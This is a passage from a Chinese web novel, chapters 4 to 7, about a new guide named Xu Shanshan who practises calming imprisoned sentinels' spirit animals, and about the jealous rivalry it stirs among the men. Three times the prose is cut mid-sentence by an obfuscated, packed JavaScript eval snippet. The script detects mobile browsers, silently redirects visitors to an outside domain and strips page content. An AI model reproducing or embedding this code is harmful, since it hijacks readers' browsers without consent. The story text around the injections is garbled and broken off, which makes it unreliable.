在电梯运行的时刻,一个人从训练区的门口奔出来,手中捧着什么东西,解逸飞看见了他,转过身装作没看见,任由他跑出去了。 但看着显示屏上电梯已经逐层下降,他的步伐停下了,沮丧地回到了训练室内,一行人看了过来,“没送出去?” “嗯。” 看室内低沉的氛围,副队不由得开口鼓励:“她既然要找一队的人,总要常来的,这次不行下次还有机会,沮丧个什么劲?” “只要她愿意来,我们难道还找不到机会,比不过那群鸟人吗?” “训练训练!” 徐珊珊并不知道他们的想法,她在食堂随意填了填肚子,最重要的是买了点零食,不知道蜜蜂喜欢吃什么,她买了非常贵的几颗糖,几乎花了小半预先给她打的款。 偷偷拆开一颗,放进嘴里,味道不错。将剩余的几颗放进口袋,她又钻进电梯,往负三层走去。 她一直在各个楼层窜来窜去,也不免碰见几个熟人,很像白塔街溜子,面对此种情景,她只能装作没看见对方,快速溜走。 到了负三楼,和警卫报备后,她也分了糖给对方,对方很开心但并没有收,说自己年纪大了吃不得这些,告诉她那人已经在里面了。 又走进那间中心的圆形亮房间,皮鞋踩踏在地面发出声响,“噔——”,房间突然亮起,她吓了一跳,原来是警卫帮她开了所有灯,这样她就可以看清对面的人了。 “你好。” 她颤颤巍巍地打了个招呼,他的长相和她预想的不太一样,怎么说呢,看着比想象中的凌厉。她还以为会是很可亲的大圆脸,结果是一张瘦削的长脸。 “你好。”男人露出了一张笑脸,笑得很甜,但其实两个人都有点拘束。 “我叫徐珊珊,”她隔着窗户看向男人的脸,他的体格很高,双臂较长,手腕超过档线,灰黑色头发,一双亮金色的眼睛,向上斜着,看起来有些狡诈。 “宋晓宇。” “我……” “你……” 两人的声音同时出现,又同时消失,男人笑了笑,他摊开手,“你先说。” 她的右手握紧兜里的糖果,这是由无污染的原材料制作,所以价格昂贵,但她也担心是不是太轻率了,让别人帮忙,到头来就送两颗糖? 可是她账户的余额也没有很多了。 想到这里,言语中不禁带上一丝心虚,“我想请你帮个忙。” “没关系,你说。”男人的身体靠近了牢房的门,紧贴在墙壁,但他不能贴着门,会被惩罚。 他斜站着,超绝不经意地露出半边腹肌,头向上扬起,露出清晰利落的下颌线,双手收在胸前,肱二头肌拱起。 宋晓宇听到她指名要见自己的时候,正躺在床上,一时非常惊讶,免不得怀疑自己听错了,还是周围人的嫉妒臭骂声让他反应过来,从床上蹦起来开始整理自己的毛发。 虽然隔离室里没有更好的条件,他还是希望能让对方见到自己最好的一面。 虽然不知道为什么从那么多哨兵中一眼挑中了自己,宋晓宇觉得这可能是命中注定吧,他自信地对着镜子,刮掉自己的胡须。只可惜时间不够了,他没来得及再好好弄一下。 消息来得突然,只有半小时准备。 但徐珊珊只是轻轻地瞥了一眼,就不再看他,白费了他的好心思。 这两天在白塔里见过的帅哥比她上辈子二十多年见到的还要多,也不知道怎么回事,个个都打扮得非常帅气,用一句话说,就是非常卷。 “我是一名向导,但是精神海出了一点问题,不太会治疗。” 他的目光随着她说的话变得凝重,精神海受伤可不是小问题,徐珊珊抬起头看见对方的表情就知道他误会了,连忙解释道:“没有很大的问题,就是没办法凝结出精神体,召唤不了精神力。” “嗯,”男人应下来,等着她继续说。 “我今天在老师那里看了治疗的流程,好像除了直接用精神力进入精神海,用精神体交流也是可以的,对吗?” “对,”他话题一转,“你的意思是,想给我治疗?” 被对方点出来了,她的喉咙吞咽口水,顿了顿,点头问,“可以吗?” “如果不想的话也没关系。”她立马补上这一句。 男人沉默了一会儿,她的心提了起来,但他很快答应了。 徐珊珊笑了起来,她想起那两只可爱的小蜜蜂,忍不住念叨:“我还不知道自己的精神体是什么。” “不过我希望是一只鸟。” 对方的眼睛一下子亮起来,他问:“为什么?” “因为我喜欢小鸟……感觉很自由。” 男人点点头,看起来很开心,“接下来要怎么做?” 她看向门口,“你可以让你的精神体出来吗?我已经和警卫打过招呼了,没事的。” “这个窗户太小了,需要开门。” “啊?”徐珊珊呆住了,这个窗户还小吗?不是一只蜜蜂吗? 她愣了一下,还是打开呼叫器,请警卫将门下方的栅栏打开,于是什么东西从里面钻出来了,是一只老鹰,浑身被黑色厚羽覆盖,身体呈流线型,拥有尖喙和明亮的眼睛。 她沉默了,那只鹰像走地鸡一样在地上蹦跶,随后飞了起来,扑在玻璃墙上,“咚咚”两声。 “你的精神体是鹰吗?”她不确定地问。 “对,”宋晓宇命令它停下来,发现女人的表情不像他想象中的那样惊喜,扬起的嘴角落下,“你对它不满意吗,还是说,你原本想找的是别人?” 一个令人焦灼的问题,她看见那只鹰抬起头,直直的看着她,锐利的眼神里又好像透着一丝痴傻,头颈低下,还显得有点委屈。 “当然……不是。”她总不好意思说自己找的是别人,来都来了。 她又想起那天的事,“你知道两只蜜蜂吗?我昨天好像看见,它们就在这台子上。” 手指向那个位置,男人一脸惊讶,“有吗?我好像没看见。” “你知道他的名字吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904789|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “抱歉,我不认识。”男人干脆利落地回道。 “好的,没关系。” 一想到她原本想找的是别人,宋晓宇的心里有点说不上来的难受,但他很快就顾不上这点小心思了。 圆形房间的大门被打开,那只鹰也顺着走了进去,飞上了服务台。 他感到自己的脚传来痒意,浑身像触电一样,望过去,声音发软,“向导……小姐。” “怎么了?”徐珊珊抬起它的脚,趾爪硕大,钩爪锐利粗长,脚脖子处有一个指环,摸起来很硬,男人扭捏着硬是忍了下来,摇头说:“没什么。” 于是她便继续撸鹰,其实很乖巧,整个场景也非常和谐,如果不去看房间里的男人的话,他的声音藏在喉咙里,很细微。 徐珊珊是听不到的,她是寻常人的听力,但其他被关押哨兵的五感很敏锐,即使他们看不见,也能够清楚的地听到他们的声音。两种相违背的感觉升起。 而这其中反应最大的莫过于两蜜蜂兄弟,洛朗和洛伦斯,他们本来还因为向导没选择自己而难过,到后来才发现,明明自己才是被挑中的,而这只傻鸟只是无耻、卑鄙的窃贼,下贱的小三,不由得怒火中烧。 手指挠进脖子的羽毛间,给它顺毛,它歪着头眯着眼睛,一副很享受的样子,身体越靠越近,直到最后扑进她怀里,但精神体很轻,抱着并不费劲,她就搂着对方打理羽毛。 突然小鹰脑袋一转,尖喙埋进了脖子边,皮肉绷紧,一根白色羽毛被拔了出来,递到她面前。徐珊珊愣了一下,接了过去,一时有些惊喜,摸了摸它的头。 “谢谢你,小家伙,真乖。” “咳咳——” 男人的咳嗽声引起了她的注意,徐珊珊已经陷入了撸鹰的快乐,完全忘记了还有别人,她抬头看过去,对方的肤色很好地掩盖了脸上红晕。 她好奇地问:“你觉得这样有效果吗?” 男人断断续续地说:“有,有的。” 她追问:“如果,我是说如果,你预约了一个治疗,向导没办法释放精神力,只能摸摸你的精神体,你会满意吗,你会投诉她吗?” 她将那只鹰抱起来,放在桌子上,手停了下来,对方有些依依不舍地依偎着她,她将椅子往后推,站了起来。虽然羽毛很蓬松,但她也有些累了。 “不会的,向导小姐,我很满意。” “好的,谢谢。” 时间快到了,她从兜里掏出准备好的糖果,“谢谢你陪我练习,我在食堂买了点零食,是甜的,不知道你喜不喜欢。” 老鹰的视野传入宋晓宇的大脑,他连忙推拒,“这太客气了,我很荣幸能够帮上忙。糖的话,你留着自己吃吧,这东西挺贵的。” 她将其中一颗递到老鹰的尖喙,它夹着包装纸,摸了摸它的脖颈,“拿一颗好吗?不然我会过意不去的。” “去吧。”她将大门打开,拍了拍它的后背,于是那精神体一步三回头地离开了。 精神体进入栅栏,回到房间后,宋晓宇就迫不及待地将它收了回去,糖果落进手中。听着倒计时响起,知道她要走了,忙不迭出声,“向导小姐,” 女人回过头,好奇地看过来,“怎么了?” “下次你有需要的话,也可以来找我,不需要报酬。” “好。”她答应了,转身离去,直到门关闭前,她还听到一个遥远的声音,“记得要加我的通讯——” 想到这个,她无奈扶额,可能要食言了。路过警卫,她点头打了个招呼,走进专属电梯,光脑的提醒适时响起,长官开完会了,让她去办公室报到。 她按下电梯按钮,逐渐上行。 5. 第 5 章 美好的时光总是短暂。 合金门被打开,她的背影没入走廊,滑门推动摩擦发声,灯光熄灭,室内一片漆黑。 男人鼻尖轻嗅,贪婪地吸入空气中残存的向导素。 “哨兵,回到你的隔离室。”看守的绿眼睛在黑夜里泛出荧光,下半张脸被面罩覆盖,持枪站立,毫不犹豫打断他。 “哒、哒、哒……” 跨过门槛,回到漆黑一片的过道内,但他能清晰地看清,地上掉落的发丝,圆柱形的护栏,以及扒在栏杆上,盯着他的可怜虫。 一前一后两道脚步声,看守押着他往里走。 嘴角挑起一抹笑容,手指揉搓着糖纸塑料壳,发出细微的碎响,在安静到极致的隔离区内格外突兀。 宋晓宇嘴巴微张,默念着女人的名字,像要将它刻入脑中。 他太嚣张了,其他人无法忽视男人的刻意炫耀。 “你,停下来。” 他好心情地吹了个口哨,自上而下地打量了一眼说话的人,评价为没有威胁,忽视出言挑衅者,直接往前走。 “她不会喜欢他的,傻鸟身上弥漫着一股臭味,长得又难看。” 不和谐的声音响起。 有味道吗?他抬起手嗅了嗅,并没有所谓的臭味,只不过是小丑的刻薄话,而他对自己的外形很有自信。 事实证明,她是喜欢他的,不然也不会愿意摸自己的精神体了。宋晓宇有些嫉妒那只鹰,他多希望自己能代替它,在她的手下,直到现在身体都仍有燥意。 随着步履向前,听到更多的酸言酸语,更有甚者言语羞辱,毕竟这里没有旁人,他们不用压抑自己的暴躁脾气和攻击性,如果不是带有枷锁,恐怕不只是口头攻击这么简单。 但那又如何? 宋晓宇毫不介意,甚至说很享受他们的嫉妒,因为他们构不成威胁,但那两人除外,他当然不会忘记,她本来要找的是谁。 “嗨,小蜜蜂。” 宋晓宇模仿她的腔调念出这三个字,脸上皮笑肉不笑,她是我的向导,你们这些人以后最好离她远一点。宋晓宇显然已经把兄弟两看做潜在情敌,十分戒备。 洛伦斯性格更急躁,被他挑衅,压不下怒火,骂道:“你个卑鄙无耻的骗子,下贱的小三!” 有意思,男人停住脚步,不再往前,看守的步伐也停下,神情平静地旁观两人对骂。 “你有什么立场说这句话?” “她甚至不记得你的名字,小蜜蜂。” 他向上抛掷那枚蜂蜜糖,又将它抓回手中,故意挑逗对方,“是她选择了我。” 目光在两个牢房间来回扫视,“而你们什么都不是。” “你!”洛伦斯被说中心事,气极了,牙根咬紧,冲到围栏前,伸手就想揍得他满地找牙,非得用尾针蜇烂他这张嘴才好。 可这不是能胡闹的地方。 “住手!” “洛伦斯,停下。” 看守声音严厉,而哥哥的声音带着劝诫,“你不想早点出去吗?”洛伦斯的胸口剧烈起伏,眉间紧皱,双眼瞪着那个可恶的人,努力平复自己的情绪。 枪口顶向后背,顶着他向前俯身,踉跄走过两步,看来聊天时间结束了,他迈步向前走,门被打开,进入隔离室,冰凉的金属材料贴紧皮肤,项圈和镣铐往身上戴。 他向前并拢双手,四指夹紧,让腕环顺利穿过。 看守轻声说:“手放松。” 紧接着咔哒一声,喉咙发出闷哼,食指扭曲着,传来疼痛,糖果从夹缝间坠落。 看守人员从下方接过,放进外套口袋内,将拉链拉紧,“隔离室不可以携带外来物品,没收。” “把东西还给我。” 他伸出手去抓对方的胳膊,被掀翻倒地,双手撑着地面站起来,他没法召唤出精神体硬抢。 这条该死的“狗”,这是他的东西。宋晓宇有些懊悔,他该吃进肚子里,这样谁也抢不走了。 听到旁边传来幸灾乐祸的笑声,而看守毫不在意地走出去,锁紧了门,沉重的锁头撞向柱子,发出哐当声。 男人的背影逐渐远去,宋晓宇不甘心,“你敢不敢跟我单挑?”脚步声没有停下,身影隐没在过道里。 “怂货,死狗,你只敢躲在阴沟里窥伺别人。” “就算你抢走她送我的东西又怎样,你也不看看自己,一副什么模样,她永远都不可能看上你,你就缩在这臭水沟里蹲一辈子吧,见不得光的东西。” 有种,挑衅狱管。 眼见着看守走到尽头,将枪支挂上墙,解开外套,露出肌肉狰狞的胳膊,脖间银色项链晃荡,他知道要有好戏发生了。 听见隔壁的平稳呼吸,他叹了口气,真佩服他,这还睡得着,敲击墙壁,“醒醒,别睡了。” 头顶咚咚作响,红发男人睁开眼睛,“怎么了?” 一阵刺耳的金属刮擦声传入耳中,看守走进隔离室,房门被重新锁住,将两人关在里面。 “嗒嗒——”手铐被解开,甩至地面,宋晓宇摁响指节,毫不示弱地看过去,“还有项圈。” “不用精神体。” 看守的话说完就挥拳打了过去,结实的撞到男人胸口,往后退了两步,沉闷地咳了两声,笑着说:“就这?” 他还可以让他更生气,这个无耻的强盗,“别动我的脸,毕竟我可不像你,是个没人要的……” 这句话显然激怒了对方,下轮攻击来得猛烈,宋晓宇身形轻快地跳向后方躲了过去,紧张的氛围在室内弥漫,战斗逐渐变得激烈起来,肉搏声不断响起。 宋晓宇最终落入下风,他擅长追踪和突袭,高空才是主战场,受狭窄逼仄的空间限制。而看守是经验老练的战士,近身作战更是他的强项。 宋晓宇对对方造成多处伤口,面罩被撕烂,露出烧伤的疤痕,原来是毁了容,怪不得反应强烈。 但他简直像不会痛的铁人,皮糙肉厚,耐力十足,姿势不变。如果不是腿不自觉颤动,几乎要以为对方毫无痛感了。 他瘫倒在地,浑身多处地方疼痛难忍,右胳膊动不了了,看守揪住他的衣领,沿着地板拖动,身体撞到墙面,然后一拳挥上去。 “噢……” 宋晓宇的后脑勺传来阵痛,嘴角浸出鲜血,他仍然笑着,注视着对方脸上烧伤的疤痕,轻松地说:“你——” “砰,”话还没说完,一拳挥来,脸颊凹陷,鼻子扭断,他愤怒地叫起来,“我说,”脖子被掐住勒令闭嘴,用力往后撞,头晕目眩,接下来又是一击,眼眶青紫。 欢呼声从外面传来,“打烂他的脸!” “别碰我的脸。” 眼冒金星,一口鲜血喷洒出来,抛物线形溅射到裤子上。俊美的脸上肿起大包,淤青一片。 “揍他!” 暴击声持续了好一会儿,直到他浑身无力地瘫软倒地,像一块柔软的面饼滑落。 汗珠从看守的下颌滚落,滴到腹部,大口喘着粗气,他松开手,从地上捡起手铐,钳制住两只手。 一边戴上手铐,说话声沙哑,“小子,我出来工作的时候,你还不知道在哪。” 捡起被撕开的面罩,它们没法复原了,摸向自己脸颊的凸起,高低不平,潮红充血,脖颈处皮肤下的肌肉、神经和血管粘连在一块。 这样一张丑陋的脸,他不敢奢求对方愿意投下目光,垂怜他。 看守走出房门,将门锁住。 不见天光的地下三层恢复安静。 终于消停了,哨兵的嫉妒心真可怕。 红发男人躺在床上,无奈转身,合上眼睛,心中暗骂:一群蠢货。 长官办公室。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904790|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明亮的光线透过窗户照进走廊,门半敞着,敲响门,得到回应后探出头,接着走进去。 “关门。”山昊说。 她转身把房门合拢,看来长官找自己有事说,视线向右侧扫去,眉毛跳起来,眼睛瞪大,海量货物堆积在沙发旁,像一座小山,快有天花板高了。 买这么多快递? 她没多想,走到桌子前坐下,双手交握,等待领导安排。 “你在下面待了一个钟头,情况如何?” “还不错,”她想了想,手托着下巴,“我还是没办法使用精神力,但是我可以摸他们的精神体,这好像有用。” “长官你觉得可以吗?” 她小心翼翼地问,内心仍然担心,自己无法成为一个合格的向导,失去价值被抛弃。 “你摸他的精神体了?” 男人的回复出乎她的意料,怎么了,这是什么话,不可以摸吗? “……” “算了,”他将话题带过去,“累吗?” 这和累有什么关系,摸小动物在当代甚至可以算作一种娱乐,她回答道:“还好吧,我觉得挺轻松的。” “你是不是去了二十七楼?” 长官好像对自己的行踪了如指掌,徐珊珊有些惊讶,“你怎么知道?”紧接着承认,“对,我想去夏广礼陪我练习,但他不在。” 他的声音透着无奈,“想不知道都难,你现在是塔里的名人。”他将显示器的脚座调整角度,指着照片质问,“是谁大白天在塔内到处乱逛?” 【有谁知道吗,这个新来的向导是谁?】 1L:她好可爱,有没有人知道她是谁,有无联系方式,重金酬赏。 2L:是我老婆,别看了,不准你们看我老婆。 3L:楼上真不要脸,人家是刚来的向导,明明是我老婆,她还对我笑了,你不要老孔雀开屏——自作多情。 4L:你才是自作多情吧,人看见你了吗,就对你笑,脑子被关傻了? 背坐在食堂吃饭的照片赫然贴在上面。明明她在外面安安静静的,从不大喊大叫,为什么他们还是能精准地发现她啊。 “不用紧张,已经被锁了。”看她面色变差,山昊出声安抚,效果已经达到了,只是想提醒,没必要吓唬她。 星网上是不能发向导照片的,模糊的背影也不行,楼主和讨论人员都被拉小黑屋。不过消息还是走漏了,更别提这几天从负三层出来的人,动作非常迅速。 山昊手指向墙角,一堆摆放着的东西,“最后找到了我这里,”紧接着资料袋被递过来,“这些是礼物,托我传达,希望你能够给他们一个认识的机会。” “但选择权在你。” 薛姗姗站起身,走到那堆礼物前,精美的包装盒外贴着标签,表明是由哪支队伍送来的,也有的是由个人送出,比如摆放在前面,最显眼的那一个。 “长官,”她有些犹豫地将盒子抱起来,很轻,仔细看向上面的字,确认自己没看错,“山昊,”晃了晃盒子,轻柔的簌簌声。 “长官,这个?” 男人面不改色地点头,“是我买的,”他紧接着解释,“你现在卡里余额不多,没闲钱买衣服,不用一直穿制服,我替你选购了两件。” 这么好吗?听起来好像没问题,问题就在是不是太贴心了? 他清了清喉咙,“你不想收?” “我,我当然想。”徐珊珊点头又摇头,毕竟是领导的好意,不收也不好,大不了发工资再还回来。 不过别人的就算了,她还不想接触那么多人,背欠人情债。 “长官,你的我要,别人的我不想收,可以让他们拿回去吗?” 红云攀上男人脸颊,他嘴角微扬,心情变得愉悦,很满意她的回答,“既然你不喜欢,我让他们取回去。” 6. 第 6 章 “这两天你继续跟着薛柔学,周五会分配你的静音室,下周一正式开始工作,有问题么?” 她摇了摇头,忍不住打了个哈切,用手捂住嘴。她会在上岗前熟悉各项事务,成为一名合格向导的。 她的眼神疲惫,应该是昨夜没睡好,忍不住多嘴,“晚上拥有一个良好的睡眠,白天工作才会效率更高,”伸手推过来一本册子,“精神疏导手册,没事的时候翻看学习。” “好。” 就像送女儿第一次去公司报道,哪都不放心,全面细致地提醒。话穿过了耳朵,像是察觉到她的走神,他停了下来。 “以后,你还要继续‘训练’吗?” “嗯。”她点头,多试试总没错,积累一点经验。 “你打算找谁?” 她的眼神飘忽,眼珠轱辘转,看起来没憋什么好事。 “不用舍近求远,”山昊说,“负三层是惩罚哨兵的地方,你经常去,对他们来说反而是一种奖励。” “没必要吊在一棵树上。” 原来长官是担心自己犯以前的错误,被渣男伤害,他真的,我哭死。徐珊珊了然他的心意,笑着保证,“长官,我知道了,你放心!” “我以后不会再去那里了。” “好。”山昊相信她明白了自己的暗示,“今天回去记得好好休息,第一次做疏导,可能累坏了。” 看似懂了,实则不然。 徐珊珊将纸质资料放在礼盒上方,抱至胸前,向长官告辞,回到宿舍洗了个澡,将衣服丢进洗衣机。 她撕开包装纸,翻开手册,第一行字映入眼帘,该死,她打了个哈切,怎么突然好困,眼前的字体变得模糊,晃出虚影。 为什么会困? 她将册子放下,侧身躺在沙发上,扯紧了毛毯,开始随地大小睡。 醒来的时候已经是晚上了,室内漆黑一片,她睡了好久,完全没做梦,就像上一秒刚闭上眼睛,下一秒就睁开了。 肚子空空,手撑开的地方布料下凹,她打算去食堂填填肚子,双腿落地,站起身,脚步虚浮,五指无力。 这是怎么了,低血糖,还是被榨干了? 不管了,她还没吃过食堂的夜宵,今天去试试,换好衣服,走出门,来到电梯前。下班时间还是有人使用的,她稍微站了一会儿,无意识往左侧防火门里看,瞥见步梯里,有人靠在转角平台。 “姐姐,我……” 正是早上的那位哨兵,嘀嘀咕咕好像在道歉,手撑在头侧,俯身吻上去,她看见那是薛柔姐,张嘴想打招呼又哑火,女人默契地抬头望过来,眨了眨左眼。 接收到暗示,她轻手轻脚走进电梯,当作什么都没看见。 电梯逐渐下行,她的脑海里不禁浮现一句话:我鬼混回来了。 不过,这不重要。她的哈喇子直流,摸了摸自己空荡荡的肚子,好饿。 “叮——”楼层到达,熟悉的食堂,喧嚷的声音传出来,没想到晚上还这么热闹,除去个人食客、三两好友聚会,还有整支队伍聚餐,一行人在等候区排队。 白色热气从桌面向上飘,围在一块吃火锅,欢颜笑语传入耳中。鲜美的香气传入鼻尖,唾液分泌,她点开光脑查询余额,没事,还吃得起。 过道两侧摆着两行圆桌,从中穿过,跨进入口,从右往左,扫视面板上的菜单,低头看每一样菜品,手指指向热腾腾的小笼包,将餐盘递过去。 “叔叔,我要一笼包子,不,两笼。” 吃不完的话打包带回去好了,接过餐盘,两碟包子平整摆放,道谢后,在一旁调配蘸水,随后端着不锈钢餐盘,走到柱子后的角落坐下,背对门口。 小笼包沾了姜醋汁送入口中,咬破薄皮,香甜鲜美的汁液流进嘴,划过舌面,淌进胃中。好吃! 右手不停地将它夹起送进嘴,左手打开光脑,她禁不住好奇,长官说的“名人”是什么意思,不熟练地注册账号,登录匿名哨兵论坛,分很多板块,但热度最高的帖子还是有关向导。 帖子标题包括但不限于《使用这种技巧,让向导更爱你》,点进去一看,是卖货的,更恐怖的是销量还不低。《扒一扒那些道德败坏的插足者》,匿名了但没完全匿,意有所指的让楼下都明白那人是谁。 但显然有人持不同意见:【她喜欢上别人,你怎么不找找自己的问题?没本事的哨兵就是这样,自己无趣,还不允许别人寻找真爱。】 这句话掀起了一场骂战,接下来上百楼都是对骂,持续了几天。 【你就是那个不要脸的小三吧】 戴着面罩的绿眼男低头将肉包吃进肚,他没想到来这儿能看见她,他的视力很好,一眼看清她大概在看什么,那个背景颜色,很像论坛的帖子,于是自己也分出心,打开论坛,点进月经帖。 【嫉妒心这么强,如果是我绝对不会让她为难】 楼主:【死绿茶,滚开】 很诡异啊,她环顾四周,没想到这些浓眉大眼的爽朗小伙,背地里小心思这么多。不过也没什么,好像没哪提到她。 别急,马上就有了。 刷新页面,一个新帖出来了,点进去,立马有人顶帖,网速真快,她看了看,文字描述,可爱向导、食堂独食…… 同一个食堂,相同的食物、穿着,怎么听着很像她,狐疑地四处张望,跳出去一会儿,又弹出来,楼主的头像是只猫猫,回复:老婆看我了! 有点恐怖啊,她按捺不住好奇心,继续往下刷,毫无意外地看到了一些梦男呓语,幸好有其他人做她嘴替。 【小子又说梦话,别光喝酒,吃点花生米,别明天醒不过来被队长揍】 绿眼狗头像:【她没看你】 又跳到官方论坛,置顶的第一条就是白塔向导名录,很遗憾的发现自己的名字赫然在列,有关她的欢迎公告。 手指上滑,评论区里老婆声一片,还有人说什么,“老婆好温柔,”难受,啪的一下关闭光脑,脸朝向天花板,崩溃地无声呐喊,“这是要干嘛啊~~” 她低下头,转过去,敏锐地察觉有人在打量她,望过去时又找不到,这顿饭是吃不下去了。她翻开打包盒,将剩余的小笼包装好,餐盘则放进轨道中,擦净嘴,拎着袋子离开。 走到面包房门口,伸手想掀开门帘,在手动之前已经被揭起来了,好心人。她抬眼,看见了穿着作战服的解逸飞,身旁跟着的黑发男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904791|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈后剃发,扎着耳钉,拎着彩色方盒,透过塑料壳可以看见里面的奶油蛋糕,上面铺满水果。 “谢谢,”她笑着打招呼,走到门外,两人随后走出来。 “好巧啊。” “嗯,很巧。” 她的步伐本来很急,想快点回去,但此时又不急了,另外两人也随她减慢脚步,边走边聊。 “有人过生日?” “嗯,是我。”黑发男人出声。 “噢,那祝你生日快乐。”他不说话都没注意这个人。 食堂里的男人有意无意抬起头,通过玻璃窥见相谈甚欢的三人,内心难受,她为什么跟别人靠得那么近,那个帖子很快被顶贴,里面是特级怨灵语录。 塑料袋随着步伐轻微摇晃,一行人走到电梯门口,但两人没想着进去,徐珊珊也没说告别,看出她有事想说,解逸飞:“我送你回去?” 她看向他,又看了看黑发男,暗示两人单独聊天,“布鲁诺,你先回去?” 目光在她脸上停留,又转到队长的身上,见她没有挽留自己的意思,布鲁诺攥紧手心,咬牙笑道:“好,你们聊。” 他摆了摆手,转身进入电梯。薛柔姐给了她灵感,徐珊珊先迈步走进消防通道,上下观望,没有别人,伸出一只白藕似的手,“来。” 解逸飞感到紧张,但更多的是兴奋。这样的意外令他内心雀跃,哪怕前方是地狱,也甘愿跟着一同踏进去了。 什么事?自然是训练的事,就是精神疏导,长官说不要舍近求远,她就想着,这不有现成的,她熟悉的人除了负三楼的那两位,就是夏广礼了,他不在,那他的朋友…… 别怪她逮着一家人薅羊毛。 “解逸飞队长,你和夏广礼很熟吗?” “对,我们是朋友,有时会一块作战。” “噢噢,好的。”她一步步跨上楼梯,往上还有很多层,足够他们把话说清楚。 “你们明天……” 她说话支支吾吾,男人将话头挑明,“如果有什么事,你说我听。” “我是刚回来的向导,下周上岗,最近在培训,我想你们最近有空的话,下班后,能不能找个人陪我训练,不需要很久,一小时就够了。” 解逸飞:“可以。” 答应得很干脆,她兴奋地跳起来,双手挥向天花板,“谢谢你,队长,你真是太好了!” 男人轻笑一声,下方传来轻微脚步声,嘴角敛下来,不自觉地往下方看,有谁在跟着他们。相对封闭的地方,不太安全,男人提议:“明天下午你直接来二十七楼就可以了,我会安排好的。” 他说:“现在时间不早了,往上走还需要很久,我们乘坐电梯回去怎么样?” “好。”担心的事完成了,她好心情地答应,站在电梯前和男人挥手,回到宿舍。打开房门,将食物放进冰箱冷藏室,洗漱后,躺上软床。 这件事处理完了,她也算放心了,睡前,贼心不死地再点开匿名论坛,点进那个帖子,回帖数已经增长到上百了,但仔细一看全是猫猫头的怨夫语句,这个阴湿男。 她忍不住回了一句。 扇子:【也许你找点其他爱好呢?】 7. 第 7 章 新人,临时头像,一级,高权限。 这里是匿名“哨兵”论坛,但对向导来说,并非如此,给予向导高权限的初衷是为了便于快速锁定侵害隐私的帖子,但也反过来成了可供追踪的痕迹。 她发声之后楼里突然消停了,屏幕光打在她的脸上,侧靠在枕头上,踹踹不安地等待回复,还以为楼主会骂她,结果并没有,再次刷新。 一张照片加载出来,健硕的□□,从脖颈裸露到腹下,宽肩窄腰,露出垒块分明的腹肌,松垮的裤绳系带。正面、侧面各一张,还在照片的下方发了个卖萌表情包。 【我平时喜欢健身】 这算是对自己的回应吗? 她又拉回去看了一眼,不得不承认角度拿捏得很好,诚实地评价:【很漂亮】 这个回复彻底揭开了这个账号的神秘面纱,零个哨兵会在意另一个哨兵的身材练得怎样,不开骂都是好的了。 潜水的人纷纷冒出头,往下拉,喷涌而出的自我介绍把帖子衬得像婚介所,猫猫头又编辑了自己的一张舞蹈照,发送出去,却发现自己被顶到后几页了,遂气愤地将其他人拉黑。 她继续在该层楼下面提问,【你平常读书吗?】 糟糕,踩到了盲区。猫猫头在屏幕后咬牙切齿,纠结着要不要拉别人来回答问题,却发现有人已经领先他一步回答,看来号没封完。 绿眼狗:【你想看什么书?】 【历史】 她想补充一下缺失的信息,关于这个世界,有些好奇地问:【这边有图书馆吗?】 绿眼狗:【塔内有图书馆藏室。A、B区各有一栋大型图书馆,其中B区有更详尽的编年史。更多细节可以私聊,我在这儿待得比较久了。】 【好,谢了。】 她点击绿眼狗头像,进入主页,发现右上角自己的信箱爆了,两人互相关注,显示可以发送私信了。 新关注她的人很多,徐珊珊返回帖子,可能是下半身控制了上半身,她想了想,也给猫猫头点了关注,他立马发过来一个礼物,弹出满屏幕烟花。 暂时不想聊天,退出私聊界面,进入隐私设置——禁止其他人私聊我。 做完这些,倒头就睡,可惜并不能如愿,翻来过去睡不着。 两人收到消息提示,兴奋地起身,但等了很久,迟迟没有来信,不过总算迈出了第一步。 男人站在卫生间,对着镜子,扭动身姿拍照,既要性感,又不能显得太刻意,最好还要彰显自己的贤惠。他从没想过,之前的言行已经暴露了自己并非如此的人设,仍还是要刻意营造可人形象。 他想了想,将帖子彻底封锁,这样就只有自己可以看见了。 他又不厌其烦地将精心挑选的照片发过去,终于上面出现一个省略号,这表明对方正在输入中,满心雀跃地准备回复。 【我要睡了,改天发】 把打好的字一一删掉,转而回复:【好】 头像为绿眼狗的账户,背后的拥有者是那位时刻佩戴着面罩的看守,夜里,他的眸子闪着绿光,脖颈前的十字项链陷入凸起的两块胸肌的沟壑间,面罩被扯下,感到面部传来痒意。 拉开拉链,从口袋中摩挲取出,那块被体温融化的糖果,变得柔软、扁圆,双手沿着锯齿口将包装袋撕开,取出它送入口中。 甜的,曼努埃尔不喜欢甜食,她给的除外。 